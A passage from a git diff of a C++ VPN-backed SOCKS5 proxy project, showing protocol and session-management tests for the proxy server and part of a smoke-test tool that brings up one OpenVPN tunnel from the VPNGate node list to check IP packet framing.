direct; + std::unique_ptr server; + + ProxyFixture() { + cfg.socks5.listen_address = "127.0.0.1"; + cfg.socks5.listen_port = 0; // ephemeral; server.port() reports the real one + cfg.socks5.require_auth = true; + cfg.socks5.users = {make_credential("u", "p")}; + cfg.socks5.handshake_timeout = 2000ms; + cfg.socks5.connect_timeout = 2000ms; + cfg.socks5.idle_timeout = 60000ms; + cfg.socks5.udp_idle_timeout = 5000ms; + cfg.socks5.relay_buffer_size = 4096; + } + + // Deferred so a test can adjust cfg first. + bool start(std::string *err) { + direct = egress::DirectEgress::create(io, cfg.dns); + auto e = std::static_pointer_cast(direct); + server = std::make_unique(io, cfg, [this] { + return std::static_pointer_cast(direct); + }); + (void)e; + return server->start(err); + } + + uint16_t port() const { return server->port(); } + + ~ProxyFixture() { + if (server) server->stop(); + echo.stop(); + udp_echo.stop(); + settle(io, 60ms); + if (direct) direct->shutdown(); + settle(io, 60ms); + } + + // Greeting + userpass, leaving the connection ready for a request. + bool handshake(Client *c, const std::string &user = "u", + const std::string &pw = "p") { + c->send(std::vector{0x05, 0x01, 0x02}); + const auto sel = c->recv_exact(2, 2s); + if (sel.size() != 2 || sel[0] != 0x05 || sel[1] != 0x02) return false; + + std::vector auth{0x01, static_cast(user.size())}; + auth.insert(auth.end(), user.begin(), user.end()); + auth.push_back(static_cast(pw.size())); + auth.insert(auth.end(), pw.begin(), pw.end()); + c->send(auth); + + const auto ok = c->recv_exact(2, 2s); + return ok.size() == 2 && ok[0] == 0x01 && ok[1] == 0x00; + } +}; + +// --------------------------------------------------------------------------- +// Handshake and authentication +// --------------------------------------------------------------------------- + +OVG_TEST(server_relays_a_connect_after_authenticating) { + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + + c.send(connect_request_ip("127.0.0.1", f.echo.port())); + const auto rep = c.recv_exact(10, 2s); + CHECK_EQ(rep.size(), size_t{10}); + CHECK_EQ(rep[0], uint8_t{0x05}); + CHECK_EQ(rep[1], uint8_t{0x00}); // succeeded + + c.send(std::string("hello proxy")); + const auto back = c.recv_exact(11, 2s); + CHECK_EQ(std::string(back.begin(), back.end()), std::string("hello proxy")); + + CHECK_EQ(f.server->stats().accepted, uint64_t{1}); + CHECK_EQ(f.server->stats().auth_ok, uint64_t{1}); +} + +OVG_TEST(server_rejects_a_bad_password_and_closes) { + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + c.send(std::vector{0x05, 0x01, 0x02}); + CHECK_EQ(c.recv_exact(2, 2s).size(), size_t{2}); + + const std::vector auth{0x01, 0x01, 'u', 0x04, 'n', 'o', 'p', 'e'}; + c.send(auth); + const auto rep = c.recv_exact(2, 2s); + CHECK_EQ(rep.size(), size_t{2}); + CHECK_EQ(rep[0], uint8_t{0x01}); + CHECK_NE(rep[1], uint8_t{0x00}); + // RFC 1929 §2: the server must close after a failed attempt, so the client + // cannot retry passwords on the same connection. + CHECK(c.eof(2s)); + CHECK_EQ(f.server->stats().auth_failed, uint64_t{1}); +} + +OVG_TEST(server_refuses_noauth_when_credentials_are_required) { + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + c.send(std::vector{0x05, 0x01, 0x00}); // NO_AUTH only + const auto sel = c.recv_exact(2, 2s); + CHECK_EQ(sel.size(), size_t{2}); + CHECK_EQ(sel[1], uint8_t{0xFF}); // no acceptable methods + CHECK(c.eof(2s)); +} + +OVG_TEST(server_allows_noauth_only_when_configured) { + ProxyFixture f; + f.cfg.socks5.require_auth = false; + f.cfg.socks5.users.clear(); + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + c.send(std::vector{0x05, 0x01, 0x00}); + const auto sel = c.recv_exact(2, 2s); + CHECK_EQ(sel.size(), size_t{2}); + CHECK_EQ(sel[1], uint8_t{0x00}); + + c.send(connect_request_ip("127.0.0.1", f.echo.port())); + const auto rep = c.recv_exact(10, 2s); + CHECK_EQ(rep.size(), size_t{10}); + CHECK_EQ(rep[1], uint8_t{0x00}); +} + +OVG_TEST(server_survives_a_byte_at_a_time_handshake) { + // The incremental-parse contract, exercised for real: every message arrives + // in single-byte segments and the session must never mistake a prefix for a + // protocol error. + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + + const std::vector greeting{0x05, 0x01, 0x02}; + for (uint8_t b : greeting) { + c.send(std::vector{b}); + settle(f.io, 5ms); + } + CHECK_EQ(c.recv_exact(2, 2s).size(), size_t{2}); + + const std::vector auth{0x01, 0x01, 'u', 0x01, 'p'}; + for (uint8_t b : auth) { + c.send(std::vector{b}); + settle(f.io, 5ms); + } + const auto ok = c.recv_exact(2, 2s); + CHECK_EQ(ok.size(), size_t{2}); + CHECK_EQ(ok[1], uint8_t{0x00}); + + const auto req = connect_request_ip("127.0.0.1", f.echo.port()); + for (uint8_t b : req) { + c.send(std::vector{b}); + settle(f.io, 5ms); + } + const auto rep = c.recv_exact(10, 2s); + CHECK_EQ(rep.size(), size_t{10}); + CHECK_EQ(rep[1], uint8_t{0x00}); +} + +OVG_TEST(server_forwards_bytes_pipelined_behind_the_request) { + // A client that writes the CONNECT request and its first payload in one + // segment. Those payload bytes sit in the handshake buffer when the reply is + // sent, and dropping them is a classic proxy bug. + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + + auto req = connect_request_ip("127.0.0.1", f.echo.port()); + const std::string payload = "pipelined"; + req.insert(req.end(), payload.begin(), payload.end()); + c.send(req); + + const auto rep = c.recv_exact(10, 2s); + CHECK_EQ(rep.size(), size_t{10}); + CHECK_EQ(rep[1], uint8_t{0x00}); + + const auto back = c.recv_exact(payload.size(), 2s); + CHECK_EQ(std::string(back.begin(), back.end()), payload); +} + +OVG_TEST(server_times_out_a_silent_handshake) { + ProxyFixture f; + f.cfg.socks5.handshake_timeout = 150ms; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + // Say nothing at all. + CHECK(c.eof(3s)); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 0; }, 2s)); +} + +// --------------------------------------------------------------------------- +// CONNECT behaviour +// --------------------------------------------------------------------------- + +OVG_TEST(server_reports_a_refused_connection_in_band) { + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + // A port nothing is listening on. Bind and immediately close to get one that + // is very unlikely to be reused before the test finishes. + uint16_t dead_port = 0; + { + asio::ip::tcp::acceptor a( + f.io, asio::ip::tcp::endpoint(asio::ip::make_address("127.0.0.1"), 0)); + dead_port = a.local_endpoint().port(); + } + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + c.send(connect_request_ip("127.0.0.1", dead_port)); + + const auto rep = c.recv_exact(10, 3s); + CHECK_EQ(rep.size(), size_t{10}); + CHECK_EQ(rep[0], uint8_t{0x05}); + if (rep[1] == 0x00) { + // Some sandboxes transparently accept every outbound connection; there is + // then no refusal to observe and the assertion would be about the network, + // not the proxy. + SKIP("this environment accepts connections to a closed port"); + } + CHECK_EQ(rep[1], static_cast(Reply::ConnectionRefused)); + CHECK(c.eof(2s)); +} + +OVG_TEST(server_answers_bind_with_command_not_supported) { + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + + std::vector req{0x05, 0x02, 0x00}; // BIND + append_address(&req, Endpoint(*IpAddress::parse("127.0.0.1"), 80)); + c.send(req); + + const auto rep = c.recv_exact(10, 2s); + CHECK_EQ(rep.size(), size_t{10}); + CHECK_EQ(rep[1], static_cast(Reply::CommandNotSupported)); + CHECK(c.eof(2s)); +} + +OVG_TEST(server_propagates_a_client_half_close_without_truncating_the_reply) { + // The bug this exists to prevent: treating the client's EOF as "session over" + // and closing the response direction with it. + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + c.send(connect_request_ip("127.0.0.1", f.echo.port())); + CHECK_EQ(c.recv_exact(10, 2s).size(), size_t{10}); + + c.send(std::string("last request")); + c.half_close(); // we are done sending, but still want the answer + + const auto back = c.recv_exact(12, 3s); + CHECK_EQ(std::string(back.begin(), back.end()), std::string("last request")); +} + +OVG_TEST(server_propagates_a_server_half_close_to_the_client) { + ProxyFixture f; + f.echo.say_then_fin("HTTP/1.0 200 OK\r\n\r\n"); + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + c.send(connect_request_ip("127.0.0.1", f.echo.port())); + CHECK_EQ(c.recv_exact(10, 2s).size(), size_t{10}); + + const std::string expected = "HTTP/1.0 200 OK\r\n\r\n"; + const auto body = c.recv_exact(expected.size(), 2s); + CHECK_EQ(std::string(body.begin(), body.end()), expected); + // The far side half-closed; we must see EOF and not a reset. + CHECK(c.eof(2s)); + + // ...and the session only ends once we close our own direction too. + c.half_close(); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 0; }, 3s)); +} + +OVG_TEST(server_closes_an_idle_session) { + ProxyFixture f; + f.cfg.socks5.idle_timeout = 200ms; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + c.send(connect_request_ip("127.0.0.1", f.echo.port())); + CHECK_EQ(c.recv_exact(10, 2s).size(), size_t{10}); + + CHECK(c.eof(3s)); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 0; }, 2s)); +} + +// --------------------------------------------------------------------------- +// Admission control +// --------------------------------------------------------------------------- + +OVG_TEST(server_refuses_connections_past_max_sessions) { + ProxyFixture f; + f.cfg.socks5.max_sessions = 2; + std::string err; + CHECK(f.start(&err)); + + std::vector> held; + for (int i = 0; i < 2; ++i) { + held.push_back(std::make_unique(f.io, f.port())); + CHECK(held.back()->connected()); + CHECK(f.handshake(held.back().get())); + } + CHECK(run_until(f.io, [&] { return f.server->stats().active == 2; }, 2s)); + + Client over(f.io, f.port()); + // The listen backlog means connect() itself succeeds; the refusal shows up + // as an immediate EOF with no bytes, before any SOCKS5 exchange. + CHECK(over.connected()); + CHECK(over.eof(2s)); + CHECK(run_until(f.io, [&] { return f.server->stats().rejected == 1; }, 2s)); + CHECK_EQ(f.server->stats().active, int64_t{2}); + + // Once one goes away, the next is admitted. + held.pop_back(); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 1; }, 3s)); + Client again(f.io, f.port()); + CHECK(again.connected()); + CHECK(f.handshake(&again)); +} + +OVG_TEST(server_refuses_connections_when_there_is_no_egress) { + // What the proxy must do when the tunnel is down: refuse, not fall back to + // the host network. A silent leak outside the VPN is the worst possible + // failure for this program. + ProxyFixture f; + std::string err; + f.direct = egress::DirectEgress::create(f.io, f.cfg.dns); + f.server = std::make_unique( + f.io, f.cfg, []() -> egress::EgressPtr { return nullptr; }); + CHECK(f.server->start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(c.eof(2s)); + CHECK(run_until(f.io, [&] { return f.server->stats().no_egress == 1; }, 2s)); +} + +// --------------------------------------------------------------------------- +// UDP ASSOCIATE +// --------------------------------------------------------------------------- + +// Performs the ASSOCIATE handshake and returns the advertised relay endpoint. +bool associate(ProxyFixture *f, Client *c, asio::ip::udp::endpoint *relay) { + if (!f->handshake(c)) return false; + std::vector req{0x05, 0x03, 0x00}; + // 0.0.0.0:0 -- "I do not know what address I will send from", which is what + // most clients actually say. + append_address(&req, Endpoint(*IpAddress::parse("0.0.0.0"), 0)); + c->send(req); + + const auto rep = c->recv_exact(10, 2s); + if (rep.size() != 10 || rep[1] != 0x00) return false; + const asio::ip::address_v4::bytes_type addr{rep[4], rep[5], rep[6], rep[7]}; + const uint16_t port = static_cast((rep[8] << 8) | rep[9]); + *relay = asio::ip::udp::endpoint(asio::ip::address_v4(addr), port); + return true; +} + +OVG_TEST(server_relays_a_udp_datagram_both_ways) { + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + asio::ip::udp::endpoint relay; + CHECK(associate(&f, &c, &relay)); + CHECK(relay.port() != 0); + + asio::ip::udp::socket us(f.io, asio::ip::udp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)); + const std::string payload = "ping"; + const Endpoint target(*IpAddress::parse("127.0.0.1"), f.udp_echo.port()); + const auto dgram = encode_udp_datagram( + target, reinterpret_cast(payload.data()), payload.size()); + + std::error_code sec; + us.send_to(asio::buffer(dgram), relay, 0, sec); + CHECK(!sec); + + std::vector buf(2048); + asio::ip::udp::endpoint from; + bool got = false; + size_t got_n = 0; + us.async_receive_from(asio::buffer(buf), from, + [&](const std::error_code &ec, size_t n) { + got = !ec; + got_n = n; + }); + CHECK(run_until(f.io, [&] { return got; }, 3s)); + + UdpHeader h; + CHECK(decode_udp_header(buf.data(), got_n, &h)); + CHECK_EQ(h.frag, uint8_t{0}); + CHECK_EQ(h.target.port(), f.udp_echo.port()); + CHECK_EQ(std::string(buf.begin() + static_cast(h.header_len), + buf.begin() + static_cast(got_n)), + payload); + + std::error_code ignored; + us.close(ignored); +} + +OVG_TEST(server_drops_a_fragmented_datagram) { + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + asio::ip::udp::endpoint relay; + CHECK(associate(&f, &c, &relay)); + + asio::ip::udp::socket us(f.io, asio::ip::udp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)); + + // FRAG != 0: must be dropped, per docs/FEASIBILITY.md §5.1. + std::vector fragged{0x00, 0x00, 0x01}; + append_address(&fragged, + Endpoint(*IpAddress::parse("127.0.0.1"), f.udp_echo.port())); + fragged.push_back('x'); + std::error_code sec; + us.send_to(asio::buffer(fragged), relay, 0, sec); + CHECK(!sec); + + bool got = false; + std::vector buf(2048); + asio::ip::udp::endpoint from; + us.async_receive_from(asio::buffer(buf), from, + [&](const std::error_code &ec, size_t) { got = !ec; }); + // Nothing should come back. + settle(f.io, 400ms); + CHECK(!got); + + // ...and the association still works for a well-formed datagram, i.e. the + // drop did not tear anything down. + const std::string payload = "still here"; + const auto dgram = encode_udp_datagram( + Endpoint(*IpAddress::parse("127.0.0.1"), f.udp_echo.port()), + reinterpret_cast(payload.data()), payload.size()); + us.send_to(asio::buffer(dgram), relay, 0, sec); + CHECK(run_until(f.io, [&] { return got; }, 3s)); + + std::error_code ignored; + us.cancel(ignored); + us.close(ignored); + settle(f.io, 40ms); +} + +OVG_TEST(server_tears_down_the_association_with_its_control_connection) { + // RFC 1928 §7 requires it, and without it a client that walks away leaks a + // socket and a tunnel PCB. + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + asio::ip::udp::endpoint relay; + CHECK(associate(&f, &c, &relay)); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 1; }, 2s)); + + c.close(); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 0; }, 3s)); + + // The relay socket is gone: a datagram to it is no longer forwarded. + asio::ip::udp::socket us(f.io, asio::ip::udp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)); + const std::string payload = "orphan"; + const auto dgram = encode_udp_datagram( + Endpoint(*IpAddress::parse("127.0.0.1"), f.udp_echo.port()), + reinterpret_cast(payload.data()), payload.size()); + std::error_code sec; + us.send_to(asio::buffer(dgram), relay, 0, sec); + + bool got = false; + std::vector buf(2048); + asio::ip::udp::endpoint from; + us.async_receive_from(asio::buffer(buf), from, + [&](const std::error_code &ec, size_t) { got = !ec; }); + settle(f.io, 300ms); + CHECK(!got); + + std::error_code ignored; + us.cancel(ignored); + us.close(ignored); + settle(f.io, 40ms); +} + +// --------------------------------------------------------------------------- +// Switching: what the server does when the egress underneath it changes +// --------------------------------------------------------------------------- + +OVG_TEST(server_rehomes_a_session_that_has_moved_no_bytes) { + // ARCHITECTURE §5.3. The session is established but has not exchanged a + // single byte, so it carries no stream state and can be re-dialled on the + // new egress without the client noticing. + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + c.send(connect_request_ip("127.0.0.1", f.echo.port())); + CHECK_EQ(c.recv_exact(10, 2s).size(), size_t{10}); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 1; }, 2s)); + + auto fresh = egress::DirectEgress::create(f.io, f.cfg.dns); + auto old = std::static_pointer_cast(f.direct); + f.direct = fresh; // subsequent acquire() hands out the new one + f.server->on_promote(old, std::static_pointer_cast(fresh)); + + // The proof it really moved: the old egress ends up with no live streams and + // the session keeps working. + CHECK(run_until(f.io, [&] { return old->stats().tcp_active == 0; }, 3s)); + CHECK_EQ(f.server->stats().active, int64_t{1}); + + c.send(std::string("after the switch")); + const auto back = c.recv_exact(16, 3s); + CHECK_EQ(std::string(back.begin(), back.end()), + std::string("after the switch")); + + old->shutdown(); + settle(f.io, 60ms); + fresh->shutdown(); + settle(f.io, 60ms); +} + +OVG_TEST(server_leaves_a_session_that_has_carried_bytes_alone) { + // The other half of the honest answer: once a byte has crossed, the TCP state + // lives on the old node and cannot be recreated. The session stays put and + // drains -- it is not silently broken and not silently moved. + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + c.send(connect_request_ip("127.0.0.1", f.echo.port())); + CHECK_EQ(c.recv_exact(10, 2s).size(), size_t{10}); + + c.send(std::string("progress")); + CHECK_EQ(c.recv_exact(8, 2s).size(), size_t{8}); + + auto fresh = egress::DirectEgress::create(f.io, f.cfg.dns); + auto old = std::static_pointer_cast(f.direct); + f.server->on_promote(old, std::static_pointer_cast(fresh)); + settle(f.io, 200ms); + + // Still on the old egress, and still working. + CHECK_EQ(old->stats().tcp_active, int64_t{1}); + c.send(std::string("more")); + const auto back = c.recv_exact(4, 2s); + CHECK_EQ(std::string(back.begin(), back.end()), std::string("more")); + + fresh->shutdown(); + settle(f.io, 60ms); +} + +OVG_TEST(server_closes_stragglers_when_the_drain_window_expires) { + // "If you cannot keep the old connections, drop them" -- scoped to exactly + // the sessions that could not be moved, and only once the grace period is up. + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + c.send(connect_request_ip("127.0.0.1", f.echo.port())); + CHECK_EQ(c.recv_exact(10, 2s).size(), size_t{10}); + c.send(std::string("x")); + CHECK_EQ(c.recv_exact(1, 2s).size(), size_t{1}); + + auto old = std::static_pointer_cast(f.direct); + f.server->on_drain_expired(old); + + CHECK(c.eof(3s)); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 0; }, 3s)); +} + +OVG_TEST(server_rehomes_a_udp_association_in_place) { + // ARCHITECTURE §5.4 / FEASIBILITY §5.3: UDP has no sequence state, so only + // the egress-side socket is replaced. The client keeps talking to the same + // relay address it was given. + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + asio::ip::udp::endpoint relay; + CHECK(associate(&f, &c, &relay)); + + asio::ip::udp::socket us(f.io, asio::ip::udp::endpoint( + asio::ip::make_address("127.0.0.1"), 0)); + const Endpoint target(*IpAddress::parse("127.0.0.1"), f.udp_echo.port()); + + auto send_and_expect = [&](const std::string &payload) { + const auto dgram = encode_udp_datagram( + target, reinterpret_cast(payload.data()), + payload.size()); + std::error_code sec; + us.send_to(asio::buffer(dgram), relay, 0, sec); + if (sec) return false; + + std::vector buf(2048); + asio::ip::udp::endpoint from; + bool got = false; + size_t n = 0; + us.async_receive_from(asio::buffer(buf), from, + [&](const std::error_code &ec, size_t got_n) { + got = !ec; + n = got_n; + }); + if (!run_until(f.io, [&] { return got; }, 3s)) { + std::error_code ignored; + us.cancel(ignored); + settle(f.io, 50ms); + return false; + } + UdpHeader h; + if (!decode_udp_header(buf.data(), n, &h)) return false; + return std::string(buf.begin() + static_cast(h.header_len), + buf.begin() + static_cast(n)) == payload; + }; + + CHECK(send_and_expect("before")); + + auto fresh = egress::DirectEgress::create(f.io, f.cfg.dns); + auto old = std::static_pointer_cast(f.direct); + f.direct = fresh; + f.server->on_promote(old, std::static_pointer_cast(fresh)); + settle(f.io, 150ms); + + // Same relay endpoint, same client socket -- only the exit changed. + CHECK(send_and_expect("after")); + CHECK_EQ(f.server->stats().active, int64_t{1}); + + std::error_code ignored; + us.close(ignored); + old->shutdown(); + settle(f.io, 60ms); + fresh->shutdown(); + settle(f.io, 60ms); +} + +// --------------------------------------------------------------------------- +// Concurrency +// --------------------------------------------------------------------------- + +OVG_TEST(server_handles_many_concurrent_sessions_without_a_thread_each) { + // Not a load test -- it is a structural one. 64 sessions run to completion on + // a single io_context with no thread per connection, which is the property + // the requirement asked for. The number is small enough to stay fast and + // large enough that a per-session thread would be obvious. + constexpr int kN = 64; + ProxyFixture f; + f.cfg.socks5.max_sessions = 256; + std::string err; + CHECK(f.start(&err)); + + struct Peer { + std::unique_ptr c; + bool done = false; + }; + std::vector peers; + peers.reserve(kN); + + for (int i = 0; i < kN; ++i) { + peers.push_back(Peer{std::make_unique(f.io, f.port()), false}); + CHECK(peers.back().c->connected()); + } + + // Drive all of them through the handshake and a CONNECT, interleaved rather + // than one at a time, so they are genuinely concurrent inside the server. + for (auto &p : peers) p.c->send(std::vector{0x05, 0x01, 0x02}); + for (auto &p : peers) CHECK_EQ(p.c->recv_exact(2, 5s).size(), size_t{2}); + + const std::vector auth{0x01, 0x01, 'u', 0x01, 'p'}; + for (auto &p : peers) p.c->send(auth); + for (auto &p : peers) { + const auto ok = p.c->recv_exact(2, 5s); + CHECK_EQ(ok.size(), size_t{2}); + CHECK_EQ(ok[1], uint8_t{0x00}); + } + + const auto req = connect_request_ip("127.0.0.1", f.echo.port()); + for (auto &p : peers) p.c->send(req); + for (auto &p : peers) { + const auto rep = p.c->recv_exact(10, 5s); + CHECK_EQ(rep.size(), size_t{10}); + CHECK_EQ(rep[1], uint8_t{0x00}); + } + + CHECK(run_until(f.io, [&] { return f.server->stats().active == kN; }, 5s)); + + for (int i = 0; i < kN; ++i) { + peers[static_cast(i)].c->send("id" + std::to_string(i)); + } + for (int i = 0; i < kN; ++i) { + const std::string expect = "id" + std::to_string(i); + const auto back = peers[static_cast(i)].c->recv_exact( + expect.size(), 5s); + CHECK_EQ(std::string(back.begin(), back.end()), expect); + } + + peers.clear(); + CHECK(run_until(f.io, [&] { return f.server->stats().active == 0; }, 5s)); + CHECK_EQ(f.server->stats().rejected, uint64_t{0}); +} + +OVG_TEST(server_lists_live_sessions_for_the_admin_endpoint) { + ProxyFixture f; + std::string err; + CHECK(f.start(&err)); + + Client c(f.io, f.port()); + CHECK(c.connected()); + CHECK(f.handshake(&c)); + c.send(connect_request("example.test", 8080)); + // The resolve will fail (or not) depending on the sandbox; either way the + // session must be listed with its target while it is trying. + CHECK(run_until(f.io, + [&] { + const auto v = f.server->sessions(10); + return !v.empty() && v[0].target == "example.test:8080"; + }, + 2s)); + + const auto v = f.server->sessions(10); + CHECK_EQ(v.size(), size_t{1}); + CHECK_EQ(v[0].command, std::string("CONNECT")); + CHECK_EQ(v[0].egress_label, std::string("direct")); + CHECK(v[0].age_ms >= 0); +} + +} // namespace diff --git a/tools/tunnel_smoke.cpp b/tools/tunnel_smoke.cpp new file mode 100644 index 0000000..7efde4c --- /dev/null +++ b/tools/tunnel_smoke.cpp @@ -0,0 +1,401 @@ +// Brings up one OpenVPN tunnel and reports what came back. Nothing above the +// ovpn module is involved -- no netstack, no SOCKS5. +// +// This exists because the design rests on one assumption that cannot be +// unit-tested: that openvpn3 is happy to treat a SOCK_DGRAM socketpair +// descriptor as its tun device, and that what arrives on our end is bare IP +// packets with no framing of its own. This tool proves or disproves that +// against a real server in about thirty seconds, and stays in the tree because +// the same question comes up again on every openvpn3 bump. +// +// ovg_tunnel_smoke [--csv FILE] [--node HOSTNAME] [--udp] [--seconds N] +// +// With no --csv it fetches the live VPNGate list. Exit status is 0 only if the +// tunnel came up and at least one IP packet arrived. +#include + +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/http_get.h" +#include "common/logging.h" +#include "ovpn/tunnel_client.h" +#include "vpngate/csv_parser.h" + +using namespace ovg; + +namespace { + +constexpr const char *kMod = "smoke"; + +std::string read_file(const std::string &path) { + std::string out; + std::FILE *f = std::fopen(path.c_str(), "rb"); + if (!f) return out; + char buf[65536]; + size_t n; + while ((n = std::fread(buf, 1, sizeof(buf), f)) > 0) out.append(buf, n); + std::fclose(f); + return out; +} + +// Enough of an IP header decode to prove the framing assumption: if these +// fields are sane, what we are being handed really is a bare IP packet. +std::string describe_ip_packet(const uint8_t *p, size_t len) { + if (len < 1) return "empty"; + const int version = p[0] >> 4; + if (version == 4) { + if (len < 20) return fmt::format("truncated IPv4 ({} bytes)", len); + const size_t ihl = (p[0] & 0x0f) * 4; + const size_t total = (size_t(p[2]) << 8) | p[3]; + const int proto = p[9]; + const auto addr = [](const uint8_t *a) { + return fmt::format("{}.{}.{}.{}", a[0], a[1], a[2], a[3]); + }; + const char *pname = proto == 6 ? "TCP" + : proto == 17 ? "UDP" + : proto == 1 ? "ICMP" + : "?"; + std::string s = fmt::format("IPv4 {} -> {} {} len={} (wire {})", + addr(p + 12), addr(p + 16), pname, total, len); + if (total != len) s += " <-- length mismatch!"; + if (ihl < 20 || ihl > len) s += " <-- bad IHL"; + return s; + } + if (version == 6) { + if (len < 40) return fmt::format("truncated IPv6 ({} bytes)", len); + return fmt::format("IPv6 next-header={} len={}", p[6], len); + } + // The interesting failure mode: a 4-byte tun_prefix would put a small + // integer here instead of an IP version nibble. + return fmt::format("NOT an IP packet: first bytes {:02x} {:02x} {:02x} {:02x} " + "(len {}) -- framing assumption is wrong", + len > 0 ? p[0] : 0, len > 1 ? p[1] : 0, len > 2 ? p[2] : 0, + len > 3 ? p[3] : 0, len); +} + +uint16_t inet_checksum(const uint8_t *p, size_t len) { + uint32_t sum = 0; + for (size_t i = 0; i + 1 < len; i += 2) sum += (uint32_t(p[i]) << 8) | p[i + 1]; + if (len & 1) sum += uint32_t(p[len - 1]) << 8; + while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); + return static_cast(~sum); +} + +bool parse_ipv4(const std::string &s, uint8_t out[4]) { + unsigned a, b, c, d; + if (std::sscanf(s.c_str(), "%u.%u.%u.%u", &a, &b, &c, &d) != 4) return false; + if (a > 255 || b > 255 || c > 255 || d > 255) return false; + out[0] = uint8_t(a); out[1] = uint8_t(b); out[2] = uint8_t(c); out[3] = uint8_t(d); + return true; +} + +// A complete IPv4 + ICMP echo request. Built by hand because the whole point +// is to put a real IP packet on the pipe without a netstack in the way: if the +// reply comes back, both directions of the framing assumption hold. +std::vector build_icmp_echo(const std::string &src, + const std::string &dst, uint16_t id, + uint16_t seq) { + std::vector pkt(20 + 8 + 16, 0); + uint8_t *ip = pkt.data(); + ip[0] = 0x45; // IPv4, IHL 5 + ip[2] = uint8_t(pkt.size() >> 8); // total length + ip[3] = uint8_t(pkt.size() & 0xff); + ip[4] = uint8_t(id >> 8); // identification + ip[5] = uint8_t(id & 0xff); + ip[6] = 0x40; // don't fragment + ip[8] = 64; // TTL + ip[9] = 1; // ICMP + if (!parse_ipv4(src, ip + 12) || !parse_ipv4(dst, ip + 16)) return {}; + const uint16_t ipsum = inet_checksum(ip, 20); + ip[10] = uint8_t(ipsum >> 8); + ip[11] = uint8_t(ipsum & 0xff); + + uint8_t *icmp = pkt.data() + 20; + icmp[0] = 8; // echo request + icmp[4] = uint8_t(id >> 8); + icmp[5] = uint8_t(id & 0xff); + icmp[6] = uint8_t(seq >> 8); + icmp[7] = uint8_t(seq & 0xff); + for (size_t i = 0; i < 16; ++i) icmp[8 + i] = uint8_t('a' + i); + const uint16_t icsum = inet_checksum(icmp, 8 + 16); + icmp[2] = uint8_t(icsum >> 8); + icmp[3] = uint8_t(icsum & 0xff); + return pkt; +} + +struct Options { + std::string csv; + std::string node; + std::string ping = "8.8.8.8"; + bool udp = false; + int seconds = 40; +}; + +bool parse_args(int argc, char **argv, Options *o) { + for (int i = 1; i < argc; ++i) { + const std::string a = argv[i]; + const auto next = [&](std::string *dst) { + if (i + 1 >= argc) return false; + *dst = argv[++i]; + return true; + }; + if (a == "--csv") { + if (!next(&o->csv)) return false; + } else if (a == "--node") { + if (!next(&o->node)) return false; + } else if (a == "--ping") { + if (!next(&o->ping)) return false; + } else if (a == "--udp") { + o->udp = true; + } else if (a == "--seconds") { + std::string s; + if (!next(&s)) return false; + o->seconds = std::atoi(s.c_str()); + } else { + std::fprintf(stderr, + "usage: %s [--csv FILE] [--node HOSTNAME] [--udp] " + "[--seconds N]\n", + argv[0]); + return false; + } + } + return true; +} + +} // namespace + +int main(int argc, char **argv) { + Options opt; + if (!parse_args(argc, argv, &opt)) return 2; + + log::set_level(log::Level::Debug); + asio::io_context io; + + // ---- node list ---------------------------------------------------------- + std::string body; + if (!opt.csv.empty()) { + body = read_file(opt.csv); + if (body.empty()) { + LOG_ERROR(kMod, "cannot read {}", opt.csv); + return 2; + } + } else { + http::Options ho; + ho.timeout = std::chrono::seconds(30); + std::error_code fetch_ec; + http::async_get(io, "http://www.vpngate.net/api/iphone/", ho, + [&](std::error_code ec, http::Response resp) { + fetch_ec = ec; + body = std::move(resp.body); + }); + io.run(); + io.restart(); + if (fetch_ec) { + LOG_ERROR(kMod, "fetching 